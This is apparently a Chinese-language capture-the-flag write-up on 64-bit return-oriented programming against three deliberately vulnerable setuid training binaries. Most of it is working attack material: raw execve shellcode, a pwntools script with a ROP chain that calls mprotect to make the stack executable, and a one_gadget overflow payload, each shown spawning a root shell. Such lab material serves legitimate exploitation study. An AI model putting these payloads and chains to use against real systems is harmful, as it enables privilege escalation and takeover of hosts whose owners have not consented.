参考地址:https://blog.techorganic.com/2015/10/09/a-rop-primer-solution-64-bit-style/

所需文件在:attachment/ROP for 64bit.zip

首先做如下操作

# mkdir 0 1 2
# echo 'flag{challenge-completed}' > flag
# chmod 600 flag
# cp level0 flag 0
# cp level1 flag 1
# cp level2 flag 2
# chown -R root:root 0 1 2
# chmod 4755 0/level0
# chmod 4755 1/level1

让文件结构如下:

# tree -p .
.
├── [drwxr-xr-x]  0
│   ├── [-rw-------]  flag
│   └── [-rwsr-xr-x]  level0
├── [drwxr-xr-x]  1
│   ├── [-rw-------]  flag
│   └── [-rwxr-xr-x]  level1
└── [drwxr-xr-x]  2
    ├── [-rw-------]  flag
    └── [-rwsr-xr-x]  level2

并且在challenges 0和1 中,ASLR是开启状态的

level0:给maps运行权限

根据rax指针和rbp地址计算出offset

RAX: 0x7fffffffe4d0 --> 0x31313131 ('1111')
RBP: 0x7fffffffe4f0

offset = 0x7fffffffe4f0 - 0x7fffffffe4d0 +8 = 40

查看权限

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x004b4000         r-xp	/root/sploitfun/64/0/level0
0x006b4000         0x006b6000         rw-p	/root/sploitfun/64/0/level0
0x006b6000         0x006db000         rw-p	[heap]
0x00007ffff7ffb000 0x00007ffff7ffd000 rw-p	mapped
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp	[vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

查看myprotect函数

gdb-peda$ disass mprotect 
Dump of assembler code for function mprotect:
   0x0000000000431f50 <+0>:	mov    eax,0xa
   0x0000000000431f55 <+5>:	syscall 
   0x0000000000431f57 <+7>:	cmp    rax,0xfffffffffffff001
   0x0000000000431f5d <+13>:	jae    0x4345c0 <__syscall_error>
   0x0000000000431f63 <+19>:	ret    
End of assembler dump.

我们可以通过syscall函数,使mapped地址段具有读写运行的权限,然后再向其中写入shellcode,再运行

exp如下

#coding= utf-8
from pwn import *

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" #27
payload = ""
payload+=shellcode
payload += "A"*13

#使0x7ffffffde000 具体有读写运行权限
# mprotect:
#   rax: 0xa
#   rdi: unsigned long start
#   rsi: size_t len
#   rdx: unsigned long prot

payload += p64(0x40159b)        # pop rdi; ret;
payload += p64(0x7ffffffde000)        # unsigned long start,第一个参数
payload += p64(0x432f29)        # pop rdx; pop rsi; ret;
payload += p64(7)               # unsigned long prot,第二个参数
payload += p64(135168)            # size_t len,第三个参数
payload += p64(0x414796)        # add eax, 5; ret;      这两行是将rax设置为0xa
payload += p64(0x414796)        # add eax, 5; ret;
payload += p64(0x4546b5)        # syscall; ret;         调用syscall,
payload += p64(0x7fffffffe490)        # return to read-in shellcode

r = remote("127.0.0.1",4000)
raw_input('#')
r.sendline(payload)

r.interactive()

查看mapped权限,目标地区已有读写和运行权限

more /proc/30564/maps
00400000-004b4000 r-xp 00000000 fd:00 1400868                            /root/sploitfun/64/0/level0
006b4000-006b6000 rw-p 000b4000 fd:00 1400868                            /root/sploitfun/64/0/level0
006b6000-006db000 rw-p 00000000 00:00 0                                  [heap]
7ffff7ffb000-7ffff7ffd000 rw-p 00000000 00:00 0 
7ffff7ffd000-7ffff7fff000 r-xp 00000000 00:00 0                          [vdso]
7ffffffdd000-7ffffffff000 rwxp 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

运行结果

python exp.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
#
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

levle1

使用的ROP,这里不做了,相似的见:https://snappyjack.github.io/articles/2019-11/%E9%80%9A%E8%BF%87GOT-overwrite-%E5%92%8CGOT-dereference%E7%BB%95%E8%BF%87ASLR

level2:使用OneGadget

项目地址:https://github.com/david942j/one_gadget

查找libc中的OneGadget

one_gadget /lib64/libc.so.6
0x43108 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4315c execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe8a7f execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xe98bb execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

查找libc的基地址

more /proc/21546/maps
00400000-00401000 r-xp 00000000 fd:00 68505460                           /root/sploitfun/64/2/level2
00600000-00601000 rw-p 00000000 fd:00 68505460                           /root/sploitfun/64/2/level2
7ffff7a0d000-7ffff7bd0000 r-xp 00000000 fd:00 3001855                    /usr/lib64/libc-2.17.so
7ffff7bd0000-7ffff7dd0000 ---p 001c3000 fd:00 3001855                    /usr/lib64/libc-2.17.so
7ffff7dd0000-7ffff7dd4000 r--p 001c3000 fd:00 3001855                    /usr/lib64/libc-2.17.so
7ffff7dd4000-7ffff7dd6000 rw-p 001c7000 fd:00 3001855                    /usr/lib64/libc-2.17.so

计算得出one_gadget地址:0x7ffff7a50108‬

运行exp

gdb-peda$ r `python -c 'print "A"*40+"\x08\x01\xa5\xf7\xff\x7f"'`
Starting program: /root/sploitfun/64/2/level2 `python -c 'print "A"*40+"\x08\x01\xa5\xf7\xff\x7f"'`
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?!
process 30313 is executing new program: /usr/bin/bash
[New process 30320]
process 30320 is executing new program: /usr/bin/python2.7
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-33.el7.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Inferior 2 (process 30320) exited with code 01]
Warning: not running
Missing separate debuginfos, use: debuginfo-install python-2.7.5-86.el7.x86_64
gdb-peda$  H localhost.localdomain  root  ~ | sploitfun | 64 | 2  uid=0(root) gid=0(root) 组=0(root)